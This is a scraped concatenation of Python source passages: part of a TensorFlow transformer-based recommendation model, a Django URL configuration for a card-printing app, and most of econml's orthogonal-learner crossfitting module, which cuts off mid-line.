'unconsumed', 'popular'}, default: 'random' Negative sampling strategy. - ``'random'`` means random sampling. - ``'unconsumed'`` samples items that the target user did not consume before. - ``'popular'`` has a higher probability to sample popular items as negative samples. num_neg : int, default: 1 Number of negative samples for each positive sample, only used in `ranking` task. use_bn : bool, default: True Whether to use batch normalization in MLP layers. dropout_rate : float or None, default: None Probability of an element to be zeroed. If it is None, dropout is not used. hidden_units : int, list of int or tuple of (int,), default: (128, 64, 32) Number of layers and corresponding layer size in MLP. recent_num : int or None, default: 10 Number of recent items to use in user behavior sequence. random_num : int or None, default: None Number of random sampled items to use in user behavior sequence. If `recent_num` is not None, `random_num` is not considered. num_heads : int, default: 1 Number of heads in multi-head attention. num_tfm_layers : int, default: 1 Number of transformer layers. positional_embedding : {'trainable', 'sinusoidal'}, default: 'trainable' Positional embedding used in transformer layers. use_causal_mask : bool, default: False Whether to apply causal mask. Causal mask will only attend items before current item, which is used in transformer decoder. feat_agg_mode : {'concat', 'elementwise'}, default: 'concat' Options for aggregating item features used in sequence attention. - ``'concat'`` stands for concatenating all the item features. - ``'elementwise'`` stands for element-wise merge described in Reference[2]. In this case, all item features must have same embed size. multi_sparse_combiner : {'normal', 'mean', 'sum', 'sqrtn'}, default: 'sqrtn' Options for combining `multi_sparse` features. seed : int, default: 42 Random seed. lower_upper_bound : tuple or None, default: None Lower and upper score bound for `rating` task. tf_sess_config : dict or None, default: None Optional TensorFlow session config, see `ConfigProto options <https://github.com/tensorflow/tensorflow/blob/v2.10.0/tensorflow/core/protobuf/config.proto#L431>`_. References ---------- [1] *Qiwei Chen et al.* `Behavior Sequence Transformer for E-commerce Recommendation in Alibaba <https://arxiv.org/pdf/1905.06874.pdf>`_. [2] *Gabriel de Souza Pereira et al.* `Transformers4Rec: Bridging the Gap between NLP and Sequential / Session-Based Recommendation <https://dl.acm.org/doi/10.1145/3460231.3474255>`_. [3] *Biao Zhang & Rico Sennrich.* `Root Mean Square Layer Normalization <https://arxiv.org/pdf/1910.07467.pdf>`_. """ user_variables = ("embedding/user_embeds_var",) item_variables = ("embedding/item_embeds_var",) sparse_variables = ("embedding/sparse_embeds_var",) dense_variables = ("embedding/dense_embeds_var",) def __init__( self, task, data_info=None, loss_type="cross_entropy", embed_size=16, n_epochs=1, lr=0.001, lr_decay=False, epsilon=1e-5, reg=None, batch_size=256, sampler="random", num_neg=1, use_bn=True, dropout_rate=None, hidden_units=(128, 64, 32), recent_num=10, random_num=None, num_heads=1, num_tfm_layers=1, positional_embedding="trainable", use_causal_mask=False, feat_agg_mode="concat", multi_sparse_combiner="sqrtn", seed=42, lower_upper_bound=None, tf_sess_config=None, ): super().__init__(task, data_info, lower_upper_bound, tf_sess_config) self.all_args = locals() self.loss_type = loss_type self.embed_size = embed_size self.n_epochs = n_epochs self.lr = lr self.lr_decay = lr_decay self.epsilon = epsilon self.reg = reg_config(reg) self.batch_size = batch_size self.sampler = sampler self.num_neg = num_neg self.use_bn = use_bn self.dropout_rate = dropout_config(dropout_rate) self.hidden_units = hidden_units_config(hidden_units) self.num_heads = num_heads self.num_tfm_layers = num_tfm_layers self.positional_embedding = positional_embedding self.use_causal_mask = use_causal_mask self.feat_agg_mode = feat_agg_mode self.seq_mode, self.max_seq_len = check_seq_mode(recent_num, random_num) self.recent_seqs, self.recent_seq_lens = get_recent_seqs( self.n_users, self.user_consumed, self.n_items, self.max_seq_len, dtype=np.float32, ) self.seed = seed self.sparse = check_sparse_indices(data_info) self.dense = check_dense_values(data_info) if self.sparse: self.sparse_feature_size = sparse_feat_size(data_info) self.sparse_field_size = sparse_field_size(data_info) self.multi_sparse_combiner = check_multi_sparse( data_info, multi_sparse_combiner ) if self.dense: self.dense_field_size = dense_field_size(data_info) self._check_params() def _check_params(self): if self.task == "ranking" and self.loss_type not in ("cross_entropy", "focal"): raise ValueError(f"unsupported `loss_type`: {self.loss_type}") if self.feat_agg_mode not in ("concat", "elementwise"): raise ValueError("`feat_agg_mode` must be `concat` or `elementwise`.") def build_model(self): tf.set_random_seed(self.seed) self._build_placeholders() user_embed = embedding_lookup( indices=self.user_indices, var_name="user_embeds_var", var_shape=(self.n_users + 1, self.embed_size), initializer=tf.glorot_uniform_initializer(), regularizer=self.reg, ) item_embed = embedding_lookup( indices=self.item_indices, var_name="item_embeds_var", var_shape=(self.n_items + 1, self.embed_size), initializer=tf.glorot_uniform_initializer(), regularizer=self.reg, ) concat_embeds = [user_embed, item_embed] if self.sparse: sparse_embed = compute_sparse_feats( self.data_info, self.multi_sparse_combiner, self.sparse_indices, var_name="sparse_embeds_var", var_shape=(self.sparse_feature_size, self.embed_size), initializer=tf.glorot_uniform_initializer(), regularizer=self.reg, flatten=True, ) concat_embeds.append(sparse_embed) if self.dense: dense_embed = compute_dense_feats( self.dense_values, var_name="dense_embeds_var", var_shape=(self.dense_field_size, self.embed_size), initializer=tf.glorot_uniform_initializer(), regularizer=self.reg, flatten=True, ) concat_embeds.append(dense_embed) self.seq_feats = combine_seq_features(self.data_info, self.feat_agg_mode) seq_embeds = self._build_seq_repr() dense_inputs = tf.concat([*concat_embeds, seq_embeds], axis=1) mlp_layer = dense_nn( dense_inputs, self.hidden_units, activation=swish, use_bn=self.use_bn, dropout_rate=self.dropout_rate, is_training=self.is_training, name="mlp", ) self.output = tf.reshape(tf_dense(units=1)(mlp_layer), [-1]) self.serving_topk = self.build_topk(self.output) count_params() def _build_placeholders(self): self.user_indices = tf.placeholder(tf.int32, shape=[None]) self.item_indices = tf.placeholder(tf.int32, shape=[None]) self.user_interacted_seq = tf.placeholder( tf.int32, shape=[None, self.max_seq_len] ) self.user_interacted_len = tf.placeholder(tf.float32, shape=[None]) self.labels = tf.placeholder(tf.float32, shape=[None]) self.is_training = tf.placeholder_with_default(False, shape=[]) if self.sparse: self.sparse_indices = tf.placeholder( tf.int32, shape=[None, self.sparse_field_size] ) if self.dense: self.dense_values = tf.placeholder( tf.float32, shape=[None, self.dense_field_size] ) def _build_seq_repr(self): # B * K item_embeds = tf.nn.embedding_lookup(self.seq_feats, self.item_indices) # B * seq * K seq_embeds = tf.nn.embedding_lookup(self.seq_feats, self.user_interacted_seq) # item feature dim + position dim output_dim = item_embeds.get_shape().as_list()[-1] + self.embed_size assert output_dim % self.num_heads == 0, ( f"`item_dim`({output_dim}) should be divisible by `num_heads`({self.num_heads})" ) # fmt: skip batch_size = tf.shape(seq_embeds)[0] pos_embeds = self._positional_embedding(batch_size, self.embed_size) seq_embeds = tf.concat([seq_embeds, pos_embeds], axis=2) tfm_mask = self._transformer_mask(batch_size) head_dim = output_dim // self.num_heads for layer in range(self.num_tfm_layers): seq_embeds = self._transformer_layer( seq_embeds, layer, head_dim, tfm_mask, output_dim ) seq_embeds = rms_norm(seq_embeds, scope_name="rms_norm_last") item_embeds = rms_norm(item_embeds, scope_name="rms_norm_item") item_pos_padding = tf.ones(shape=(batch_size, self.embed_size)) item_embeds = tf.concat([item_embeds, item_pos_padding], axis=1) att_mask = tf.sequence_mask(self.user_interacted_len, self.max_seq_len) return tf_attention(item_embeds, seq_embeds, att_mask) def _transformer_layer(self, inputs, layer, head_dim, mask, output_dim): with tf.variable_scope(f"transformer_layer{layer+1}"): x = rms_norm(inputs, scope_name="rms_norm_att") att_out = ( multi_head_attention(x, x, self.num_heads, head_dim, mask, output_dim) + inputs ) x = rms_norm(att_out, scope_name="rms_norm_ffn") ffn_out = ffn(x, output_dim) return att_out + ffn_out def _transformer_mask(self, batch_size): tfm_mask = compute_seq_mask( self.user_interacted_len, self.max_seq_len, self.num_heads ) if self.use_causal_mask: causal_mask = compute_causal_mask( batch_size, self.max_seq_len, self.num_heads ) tfm_mask = tf.logical_and(tfm_mask, causal_mask) return tfm_mask def _positional_embedding(self, batch_size, dim): if self.positional_embedding in ("sinusoidal", "sin", "sinusoid"): pos_embeds = positional_encoding(self.max_seq_len, dim, trainable=False) else: with tf.variable_scope("transformer", reuse=tf.AUTO_REUSE): pos_embeds = tf.get_variable( "positional_encoding", shape=(self.max_seq_len, dim), initializer=tf.glorot_uniform_initializer(), trainable=True, ) return tf.tile(pos_embeds[tf.newaxis, :, :], (batch_size, 1, 1))
PypiClean
/aleksis_app_kort-0.2.1.tar.gz/aleksis_app_kort-0.2.1/aleksis/apps/kort/urls.py
from django.urls import path from . import api, views urlpatterns = [ path("cards/", views.CardListView.as_view(), name="cards"), path("cards/create/", views.CardIssueView.as_view(), name="create_card"), path("cards/<int:pk>/", views.CardDetailView.as_view(), name="card"), path( "cards/<int:pk>/generate_pdf/", views.CardGeneratePDFView.as_view(), name="generate_card_pdf", ), path("cards/<int:pk>/deactivate/", views.CardDeactivateView.as_view(), name="deactivate_card"), path("cards/<int:pk>/print/", views.CardPrintView.as_view(), name="print_card"), path("cards/<int:pk>/delete/", views.CardDeleteView.as_view(), name="delete_card"), path("printers/", views.CardPrinterListView.as_view(), name="card_printers"), path("printers/create/", views.CardPrinterCreateView.as_view(), name="create_card_printer"), path("printers/<int:pk>/", views.CardPrinterDetailView.as_view(), name="card_printer"), path("printers/<int:pk>/edit/", views.CardPrinterEditView.as_view(), name="edit_card_printer"), path( "printers/<int:pk>/delete/", views.CardPrinterDeleteView.as_view(), name="delete_card_printer", ), path( "printers/<int:pk>/config/", views.CardPrinterConfigView.as_view(), name="card_printer_config", ), path("layouts/", views.CardLayoutListView.as_view(), name="card_layouts"), path("layouts/create/", views.CardLayoutCreateView.as_view(), name="create_card_layout"), path("layouts/<int:pk>/", views.CardLayoutDetailView.as_view(), name="card_layout"), path("layouts/<int:pk>/edit/", views.CardLayoutEditView.as_view(), name="edit_card_layout"), path( "layouts/<int:pk>/delete/", views.CardLayoutDeleteView.as_view(), name="delete_card_layout", ), ] api_urlpatterns = [ path("api/v1/printers/", api.CardPrinterDetails.as_view(), name="api_card_printer"), path( "api/v1/printers/<int:pk>/status/", api.CardPrinterUpdateStatus.as_view(), name="api_card_printer_status", ), path( "api/v1/printers/<int:pk>/jobs/next/", api.GetNextPrintJob.as_view(), name="api_get_next_print_job", ), path( "api/v1/jobs/<int:pk>/status/", api.CardPrintJobUpdateStatusView.as_view(), name="api_update_job_status", ), path( "api/v1/jobs/<int:pk>/chip_number/", api.CardPrintJobSetChipNumberView.as_view(), name="api_set_chip_number", ), ]
PypiClean
/FIRSTBEATLU-0.13.1.tar.gz/FIRSTBEATLU-0.13.1/econml/_ortho_learner.py
import copy from collections import namedtuple from warnings import warn from abc import abstractmethod import inspect from collections import defaultdict import re import numpy as np from sklearn.base import clone from sklearn.model_selection import KFold, StratifiedKFold, check_cv from sklearn.preprocessing import (FunctionTransformer, LabelEncoder, OneHotEncoder) from sklearn.utils import check_random_state from ._cate_estimator import (BaseCateEstimator, LinearCateEstimator, TreatmentExpansionMixin) from .inference import BootstrapInference from .utilities import (_deprecate_positional, check_input_arrays, cross_product, filter_none_kwargs, inverse_onehot, ndim, reshape, shape, transpose) def _crossfit(model, folds, *args, **kwargs): """ General crossfit based calculation of nuisance parameters. Parameters ---------- model : object An object that supports fit and predict. Fit must accept all the args and the keyword arguments kwargs. Similarly predict must all accept all the args as arguments and kwards as keyword arguments. The fit function estimates a model of the nuisance function, based on the input data to fit. Predict evaluates the fitted nuisance function on the input data to predict. folds : list of tuples or None The crossfitting fold structure. Every entry in the list is a tuple whose first element are the training indices of the args and kwargs data and the second entry are the test indices. If the union of the test indices is not the full set of all indices, then the remaining nuisance parameters for the missing indices have value NaN. If folds is None, then cross fitting is not performed; all indices are used for both model fitting and prediction args : a sequence of (numpy matrices or None) Each matrix is a data variable whose first index corresponds to a sample kwargs : a sequence of key-value args, with values being (numpy matrices or None) Each keyword argument is of the form Var=x, with x a numpy array. Each of these arrays are data variables. The model fit and predict will be called with signature: `model.fit(*args, **kwargs)` and `model.predict(*args, **kwargs)`. Key-value arguments that have value None, are ommitted from the two calls. So all the args and the non None kwargs variables must be part of the models signature. Returns ------- nuisances : tuple of numpy matrices Each entry in the tuple is a nuisance parameter matrix. Each row i-th in the matrix corresponds to the value of the nuisance parameter for the i-th input sample. model_list : list of objects of same type as input model The cloned and fitted models for each fold. Can be used for inspection of the variability of the fitted models across folds. fitted_inds : np array1d The indices of the arrays for which the nuisance value was calculated. This corresponds to the union of the indices of the test part of each fold in the input fold list. scores : tuple of list of float or None The out-of-sample model scores for each nuisance model Examples -------- .. testcode:: import numpy as np from sklearn.model_selection import KFold from sklearn.linear_model import Lasso from econml._ortho_learner import _crossfit class Wrapper: def __init__(self, model): self._model = model def fit(self, X, y, W=None): self._model.fit(X, y) return self def predict(self, X, y, W=None): return self._model.predict(X) np.random.seed(123) X = np.random.normal(size=(5000, 3)) y = X[:, 0] + np.random.normal(size=(5000,)) folds = list(KFold(2).split(X, y)) model = Lasso(alpha=0.01) nuisance, model_list, fitted_inds, scores = _crossfit(Wrapper(model), folds, X, y, W=y, Z=None) >>> nuisance (array([-1.105728... , -1.537566..., -2.451827... , ..., 1.106287..., -1.829662..., -1.782273...]),) >>> model_list [<Wrapper object at 0x...>, <Wrapper object at 0x...>] >>> fitted_inds array([ 0, 1, 2, ..., 4997, 4998, 4999]) """ model_list = [] fitted_inds = [] calculate_scores = hasattr(model, 'score') # remove None arguments kwargs = filter_none_kwargs(**kwargs) if folds is None: # skip crossfitting model_list.append(clone(model, safe=False)) model_list[0].fit(*args, **kwargs) nuisances = model_list[0].predict(*args, **kwargs) scores = model_list[0].score(*args, **kwargs) if calculate_scores else None if not isinstance(nuisances, tuple): nuisances = (nuisances,) if not isinstance(scores, tuple): scores = (scores,) # scores entries should be lists of scores, so make each entry a singleton list scores = tuple([s] for s in scores) first_arr = args[0] if args else kwargs.items()[0][1] return nuisances, model_list, np.arange(first_arr.shape[0]), scores for idx, (train_idxs, test_idxs) in enumerate(folds): model_list.append(clone(model, safe=False)) if len(np.intersect1d(train_idxs, test_idxs)) > 0: raise AttributeError("Invalid crossfitting fold structure." + "Train and test indices of each fold must be disjoint.") if len(np.intersect1d(fitted_inds, test_idxs)) > 0: raise AttributeError("Invalid crossfitting fold structure. The same index appears in two test folds.") fitted_inds = np.concatenate((fitted_inds, test_idxs)) args_train = tuple(var[train_idxs] if var is not None else None for var in args) args_test = tuple(var[test_idxs] if var is not None else None for var in args) kwargs_train = {key: var[train_idxs] for key, var in kwargs.items()} kwargs_test = {key: var[test_idxs] for key, var in kwargs.items()} model_list[idx].fit(*args_train, **kwargs_train) nuisance_temp = model_list[idx].predict(*args_test, **kwargs_test) if not isinstance(nuisance_temp, tuple): nuisance_temp = (nuisance_temp,) if idx == 0: nuisances = tuple([np.full((args[0].shape[0],) + nuis.shape[1:], np.nan) for nuis in nuisance_temp]) for it, nuis in enumerate(nuisance_temp): nuisances[it][test_idxs] = nuis if calculate_scores: score_temp = model_list[idx].score(*args_test, **kwargs_test) if not isinstance(score_temp, tuple): score_temp = (score_temp,) if idx == 0: scores = tuple([] for _ in score_temp) for it, score in enumerate(score_temp): scores[it].append(score) return nuisances, model_list, np.sort(fitted_inds.astype(int)), (scores if calculate_scores else None) CachedValues = namedtuple('CachedValues', ['nuisances', 'Y', 'T', 'X', 'W', 'Z', 'sample_weight', 'freq_weight', 'sample_var', 'groups']) class _OrthoLearner(TreatmentExpansionMixin, LinearCateEstimator): """ Base class for all orthogonal learners. This class is a parent class to any method that has the following architecture: 1. The CATE :math:`\\theta(X)` is the minimizer of some expected loss function .. math :: \\mathbb{E}[\\ell(V; \\theta(X), h(V))] where :math:`V` are all the random variables and h is a vector of nuisance functions. Alternatively, the class would also work if :math:`\\theta(X)` is the solution to a set of moment equations that also depend on nuisance functions :math:`h`. 2. To estimate :math:`\\theta(X)` we first fit the h functions and calculate :math:`h(V_i)` for each sample :math:`i` in a crossfit manner: - Let (F1_train, F1_test), ..., (Fk_train, Fk_test) be any KFold partition of the data, where Ft_train, Ft_test are subsets of indices of the input samples and such that F1_train is disjoint from F1_test. The sets F1_test, ..., Fk_test form an incomplete partition of all the input indices, i.e. they are be disjoint and their union could potentially be a subset of all input indices. For instance, in a time series split F0_train could be a prefix of the data and F0_test the suffix. Typically, these folds will be created by a KFold split, i.e. if S1, ..., Sk is any partition of the data, then Ft_train is the set of all indices except St and Ft_test = St. If the union of the Ft_test is not all the data, then only the subset of the data in the union of the Ft_test sets will be used in the final stage. - Then for each t in [1, ..., k] - Estimate a model :math:`\\hat{h}_t` for :math:`h` using Ft_train - Evaluate the learned :math:`\\hat{h}_t` model on the data in Ft_test and use that value as the nuisance value/vector :math:`\\hat{U}_i=\\hat{h}(V_i)` for the indices i in Ft_test 3. Estimate the model for :math:`\\theta(X)` by minimizing the empirical (regularized) plugin loss on the subset of indices for which we have a nuisance value, i.e. the union of {F1_test, ..., Fk_test}: .. math :: \\mathbb{E}_n[\\ell(V; \\theta(X), \\hat{h}(V))]\ = \\frac{1}{n} \\sum_{i=1}^n \\ell(V_i; \\theta(X_i), \\hat{U}_i) The method is a bit more general in that the final step does not need to be a loss minimization step. The class takes as input a model for fitting an estimate of the nuisance h given a set of samples and predicting the value of the learned nuisance model on any other set of samples. It also takes as input a model for the final estimation, that takes as input the data and their associated estimated nuisance values from the first stage and fits a model for the CATE :math:`\\theta(X)`. Then at predict time, the final model given any set of samples of the X variable, returns the estimated :math:`\\theta(X)`. The method essentially implements all the crossfit and plugin logic, so that any child classes need to only implement the appropriate `model_nuisance` and `model_final` and essentially nothing more. It also implements the basic preprocessing logic behind the expansion of discrete treatments into one-hot encodings. Parameters ---------- discrete_treatment: bool Whether the treatment values should be treated as categorical, rather than continuous, quantities discrete_instrument: bool Whether the instrument values should be treated as categorical, rather than continuous, quantities categories: 'auto' or list The categories to use when encoding discrete treatments (or 'auto' to use the unique sorted values). The first category will be treated as the control treatment. cv: int, cross-validation generator or an iterable Determines the cross-validation splitting strategy. Possible inputs for cv are: - None, to use the default 3-fold cross-validation, - integer, to specify the number of folds. - :term:`CV splitter` - An iterable yielding (train, test) splits as arrays of indices. For integer/None inputs, if the treatment is discrete :class:`~sklearn.model_selection.StratifiedKFold` is used, else, :class:`~sklearn.model_selection.KFold` is used (with a random shuffle in either case). Unless an iterable is used, we call `split(concat[Z, W, X], T)` to generate the splits. If all Z, W, X are None, then we call `split(ones((T.shape[0], 1)), T)`. random_state: int, :class:`~numpy.random.mtrand.RandomState` instance or None If int, random_state is the seed used by the random number generator; If :class:`~numpy.random.mtrand.RandomState` instance, random_state is the random number generator; If None, the random number generator is the :class:`~numpy.random.mtrand.RandomState` instance used by :mod:`np.random<numpy.random>`. mc_iters: int, optional (default=None) The number of times to rerun the first stage models to reduce the variance of the nuisances. mc_agg: {'mean', 'median'}, optional (default='mean') How to aggregate the nuisance value for each sample across the `mc_iters` monte carlo iterations of cross-fitting. Examples -------- The example code below implements a very simple version of the double machine learning method on top of the :class:`._OrthoLearner` class, for expository purposes. For a more elaborate implementation of a Double Machine Learning child class of the class :class:`._OrthoLearner` check out :class:`.DML` and its child classes: .. testcode:: import numpy as np from sklearn.linear_model import LinearRegression from econml._ortho_learner import _OrthoLearner class ModelNuisance: def __init__(self, model_t, model_y): self._model_t = model_t self._model_y = model_y def fit(self, Y, T, W=None): self._model_t.fit(W, T) self._model_y.fit(W, Y) return self def predict(self, Y, T, W=None): return Y - self._model_y.predict(W), T - self._model_t.predict(W) class ModelFinal: def __init__(self): return def fit(self, Y, T, W=None, nuisances=None): Y_res, T_res = nuisances self.model = LinearRegression(fit_intercept=False).fit(T_res.reshape(-1, 1), Y_res) return self def predict(self, X=None): return self.model.coef_[0] def score(self, Y, T, W=None, nuisances=None): Y_res, T_res = nuisances return np.mean((Y_res - self.model.predict(T_res.reshape(-1, 1)))**2) class OrthoLearner(_OrthoLearner): def _gen_ortho_learner_model_nuisance(self): return ModelNuisance(LinearRegression(), LinearRegression()) def _gen_ortho_learner_model_final(self): return ModelFinal() np.random.seed(123) X = np.random.normal(size=(100, 3)) y = X[:, 0] + X[:, 1] + np.random.normal(0, 0.1, size=(100,)) est = OrthoLearner(cv=2, discrete_treatment=False, discrete_instrument=False, categories='auto', random_state=None) est.fit(y, X[:, 0], W=X[:, 1:]) >>> est.score_ 0.00756830... >>> est.const_marginal_effect() 1.02364992... >>> est.effect() array([1.023649...]) >>> est.effect(T0=0, T1=10) array([10.236499...]) >>> est.score(y, X[:, 0], W=X[:, 1:]) 0.00727995... >>> est.ortho_learner_model_final_.model LinearRegression(fit_intercept=False) >>> est.ortho_learner_model_final_.model.coef_ array([1.023649...]) The following example shows how to do double machine learning with discrete treatments, using the _OrthoLearner: .. testcode:: class ModelNuisance: def __init__(self, model_t, model_y): self._model_t = model_t self._model_y = model_y def fit(self, Y, T, W=None): self._model_t.fit(W, np.matmul(T, np.arange(1, T.shape[1]+1))) self._model_y.fit(W, Y) return self def predict(self, Y, T, W=None): return Y - self._model_y.predict(W), T - self._model_t.predict_proba(W)[:, 1:] class ModelFinal: def __init__(self): return def fit(self, Y, T, W=None, nuisances=None): Y_res, T_res = nuisances self.model = LinearRegression(fit_intercept=False).fit(T_res.reshape(-1, 1), Y_res) return self def predict(self): # theta needs to be of dimension (1, d_t) if T is (n, d_t) return np.array([[self.model.coef_[0]]]) def score(self, Y, T, W=None, nuisances=None): Y_res, T_res = nuisances return np.mean((Y_res - self.model.predict(T_res.reshape(-1, 1)))**2) from sklearn.linear_model import LogisticRegression class OrthoLearner(_OrthoLearner): def _gen_ortho_learner_model_nuisance(self): return ModelNuisance(LogisticRegression(solver='lbfgs'), LinearRegression()) def _gen_ortho_learner_model_final(self): return ModelFinal() np.random.seed(123) W = np.random.normal(size=(100, 3)) import scipy.special T = np.random.binomial(1, scipy.special.expit(W[:, 0])) y = T + W[:, 0] + np.random.normal(0, 0.01, size=(100,)) est = OrthoLearner(cv=2, discrete_treatment=True, discrete_instrument=False, categories='auto', random_state=None) est.fit(y, T, W=W) >>> est.score_ 0.00673015... >>> est.const_marginal_effect() array([[1.008401...]]) >>> est.effect() array([1.008401...]) >>> est.score(y, T, W=W) 0.00310431... >>> est.ortho_learner_model_final_.model.coef_[0] 1.00840170... Attributes ---------- models_nuisance_: nested list of objects of type(model_nuisance) A nested list of instances of the model_nuisance object. The number of sublist equals to the number of monte carlo iterations. Each element in the sublist corresponds to a crossfitting fold and is the model instance that was fitted for that training fold. ortho_learner_model_final_: object of type(model_final) An instance of the model_final object that was fitted after calling fit. score_ : float or array of floats If the model_final has a score method, then `score_` contains the outcome of the final model score when evaluated on the fitted nuisances from the first stage. Represents goodness of fit, of the final CATE model. nuisance_scores_ : tuple of nested lists of floats or None The out-of-sample scores from training each nuisance model """ def __init__(self, *, discrete_treatment, discrete_instrument, categories, cv, random_state, mc_iters=None, mc_agg='mean'): self.cv = cv self.discrete_treatment = discrete_treatment self.discrete_instrument = discrete_instrument self.random_state = random_state self.categories = categories self.mc_iters = mc_iters self.mc_agg = mc_agg super().__init__() @abstractmethod def _gen_ortho_learner_model_nuisance(self): """ Must return a fresh instance of a nuisance model Returns ------- model_nuisance: estimator The estimator for fitting the nuisance function. Must implement `fit` and `predict` methods that both have signatures:: model_nuisance.fit(Y, T, X=X, W=W, Z=Z, sample_weight=sample_weight) model_nuisance.predict(Y, T, X=X, W=W, Z=Z, sample_weight=sample_weight) In fact we allow for the model method signatures to skip any of the keyword arguments as long as the class is always called with the omitted keyword argument set to ``None``. This can be enforced in child classes by re-implementing the fit and the various effect methods. If ``discrete_treatment=True``, then the input ``T`` to both above calls will be the one-hot encoding of the original input ``T``, excluding the first column of the one-hot. If the estimator also provides a score method with the same arguments as fit, it will be used to calculate scores during training. """ pass @abstractmethod def _gen_ortho_learner_model_final(self): """ Must return a fresh instance of a final model Returns ------- model_final: estimator for fitting the response residuals to the features and treatment residuals Must implement `fit` and `predict` methods that must have signatures:: model_final.fit(Y, T, X=X, W=W, Z=Z, nuisances=nuisances, sample_weight=sample_weight, freq_weight=freq_weight, sample_var=sample_var) model_final.predict(X=X) Predict, should just take the features X and return the constant marginal effect. In fact we allow for the model method signatures to skip any of the keyword arguments as long as the class is always called with the omitted keyword argument set to ``None``. Moreover, the predict function of the final model can take no argument if the class is always called with ``X=None``. This can be enforced in child classes by re-implementing the fit and the various effect methods. If ``discrete_treatment=True``, then the input ``T`` to both above calls will be the one-hot encoding of the original input ``T``, excluding the first column of the one-hot. """ pass def _check_input_dims(self, Y, T, X=None, W=None, Z=None, *other_arrays): assert shape(Y)[0] == shape(T)[0], "Dimension mis-match!" for arr in [X, W, Z, *other_arrays]: assert (arr is None) or (arr.shape[0] == Y.shape[0]), "Dimension mismatch" self._d_x = X.shape[1:] if X is not None else None self._d_w = W.shape[1:] if W is not None else None self._d_z = Z.shape[1:] if Z is not None else None def _check_fitted_dims(self, X): if X is None: assert self._d_x is None, "X was not None when fitting, so can't be none for score or effect" else: assert self._d_x == X.shape[1:], "Dimension mis-match of X with fitted X" def _check_fitted_dims_w_z(self, W, Z): if W is None: assert self._d_w is None, "W was not None when fitting, so can't be none for score" else: assert self._d_w == W.shape[1:], "Dimension mis-match of W with fitted W" if Z is None: assert self._d_z is None, "Z was not None when fitting, so can't be none for score" else: assert self._d_z == Z.shape[1:], "Dimension mis-match of Z with fitted Z" def _subinds_check_none(self, var, inds): return var[inds] if var is not None else None def _strata(self, Y, T, X=None, W=None, Z=None, sample_weight=None, freq_weight=None, sample_var=None, groups=None, cache_values=False, only_final=False, check_input=True): if self.discrete_instrument: Z = LabelEncoder().fit_transform(np.ravel(Z)) if self.discrete_treatment: enc = LabelEncoder() T = enc.fit_transform(np.ravel(T)) if self.discrete_instrument: return T + Z * len(enc.classes_) else: return T elif self.discrete_instrument: return Z else: return None def _prefit(self, Y, T, *args, only_final=False, **kwargs): # generate an instance of the final model self._ortho_learner_model_final = self._gen_ortho_learner_model_final() if not only_final: # generate an instance of the nuisance model self._ortho_learner_model_nuisance = self._gen_ortho_learner_model_nuisance() super()._prefit(Y, T, *args, **kwargs) @BaseCateEstimator._wrap_fit def fit(self, Y, T, *, X=None, W=None, Z=None, sample_weight=None, freq_weight=None, sample_var=None, groups=None, cache_values=False, inference=None, only_final=False, check_input=True): """ Estimate the counterfactual model from data, i.e. estimates function :math:`\\theta(\\cdot)`. Parameters ---------- Y: (n, d_y) matrix or vector of length n Outcomes for each sample T: (n, d_t) matrix or vector of length n Treatments for each sample X: optional (n, d_x) matrix or None (Default=None) Features for each sample W: optional (n, d_w) matrix or None (Default=None) Controls for each sample Z: optional (n, d_z) matrix or None (Default=None) Instruments for each sample sample_weight : (n,) array like, default None Individual weights for each sample. If None, it assumes equal weight. freq_weight: (n, ) array like of integers, default None Weight for the observation. Observation i is treated as the mean outcome of freq_weight[i] independent observations. When ``sample_var`` is not None, this should be provided. sample_var : {(n,), (n, d_y)} nd array like, default None Variance of the outcome(s) of the original freq_weight[i] observations that were used to compute the mean outcome represented by observation i. groups: (n,) vector, optional All rows corresponding to the same group will be kept together during splitting. If groups is not None, the cv argument passed to this class's initializer must support a 'groups' argument to its split method. cache_values: bool, default False Whether to cache the inputs and computed nuisances, which will allow refitting a different final model inference: string, :class:`.Inference` instance, or None Method for performing inference. This estimator supports 'bootstrap' (or an instance of :class:`.BootstrapInference`). only_final: bool, defaul False Whether to fit the nuisance models or use the existing cached values Note. This parameter is only used internally by the `refit` method and should not be exposed publicly by overwrites of the `fit` method in public classes. check_input: bool, default True Whether to check if the input is valid Note. This parameter is only used internally by the `refit` method and should not be exposed publicly by overwrites of the `fit` method in public classes. Returns ------- self : object """ self._random_state = check_random_state(self.random_state) assert (freq_weight is None) == ( sample_var is None), "Sample variances and frequency weights must be provided together!" if check_input: Y, T, X, W, Z, sample_weight, freq_weight, sample_var, groups = check_input_arrays( Y, T, X, W, Z, sample_weight, freq_weight, sample_var, groups) self._check_input_dims(Y, T, X, W, Z, sample_weight, freq_weight, sample_var, groups) if not only_final: if self.discrete_treatment: categories = self.categories if categories != 'auto': categories = [categories] # OneHotEncoder expects a 2D array with features per column self.transformer = OneHotEncoder(categories=categories, sparse=False, drop='first') self.transformer.fit(reshape(T, (-1, 1))) self._d_t = (len(self.transformer.categories_[0]) - 1,) else: self.transformer = None if self.discrete_instrument: self.z_transformer = OneHotEncoder(categories='auto', sparse=False, drop='first') self.z_transformer.fit(reshape(Z, (-1, 1))) else: self.z_transformer = None all_nuisances = [] fitted_inds = None if sample_weight is None: if freq_weight is not None: sample_weight_nuisances = freq_weight else: sample_weight_nuisances = None else: if freq_weight is not None: sample_weight_nuisances = freq_weight * sample_weight else: sample_weight_nuisances = sample_weight self._models_nuisance = [] for idx in range(self.mc_iters or 1): nuisances, fitted_models, new_inds, scores = self._fit_nuisances( Y, T, X, W, Z, sample_weight=sample_weight_nuisances, groups=groups) all_nuisances.append(nuisances) self._models_nuisance.append(fitted_models) if scores is None: self.nuisance_scores_ = None else: if idx == 0: self.nuisance_scores_ = tuple([] for _ in scores) for ind, score in enumerate(scores): self.nuisance_scores_[ind].append(score) if fitted_inds is None: fitted_inds = new_inds elif not np.array_equal(fitted_inds, new_inds): raise AttributeError("Different indices were fit by different folds, so they cannot be aggregated") if self.mc_iters is not None: if self.mc_agg == 'mean': nuisances = tuple(np.mean(nuisance_mc_variants, axis=0) for nuisance_mc_variants in zip(*all_nuisances)) elif self.mc_agg == 'median': nuisances = tuple(np.median(nuisance_mc_variants, axis=0) for nuisance_mc_variants in zip(*all_nuisances)) else: raise ValueError( "Parameter `mc_agg` must be one of {'mean', 'median'}. Got {}".format(self.mc_agg)) Y, T, X, W, Z, sample_weight, freq_weight, sample_var = (self._subinds_check_none(arr, fitted_inds) for arr in (Y, T, X, W, Z, sample_weight, freq_weight, sample_var)) nuisances = tuple([self._subinds_check_none(nuis, fitted_inds) for nuis in nuisances]) self._cached_values = 